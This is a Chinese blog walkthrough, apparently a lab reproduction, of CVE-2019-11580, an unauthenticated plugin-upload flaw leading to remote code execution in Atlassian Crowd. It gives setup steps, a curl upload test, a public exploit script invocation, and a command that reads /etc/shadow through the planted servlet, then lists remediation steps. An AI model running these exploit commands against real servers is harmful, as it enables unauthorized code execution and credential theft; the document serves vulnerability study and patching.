Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。

环境搭建

root@kali:~/桌面# wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
root@kali:~/桌面# unzip atlassian-crowd-3.4.3.zip
root@kali:~/桌面# cd atlassian-crowd-3.4.3
root@kali:~/桌面/atlassian-crowd-3.4.3# vim crowd-webapp/WEB-INF/classes/crowd-init.properties
root@kali:~/桌面/atlassian-crowd-3.4.3# ./start_crowd.sh 

img

img

申请试用30天并填写license。进行下一步安装,直到安装完成。

漏洞利用

未授权访问测试

进行上传一个标准的插件,来自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar

curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v

成功上传
img

Atlassian Crowd RCE

漏洞利用脚本

git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

img

漏洞修复

  1. 设置访问/crowd/admin/uploadplugin.action的源ip。
  2. 升级最新版本(3.5.0以上)
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Scorpio-m7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值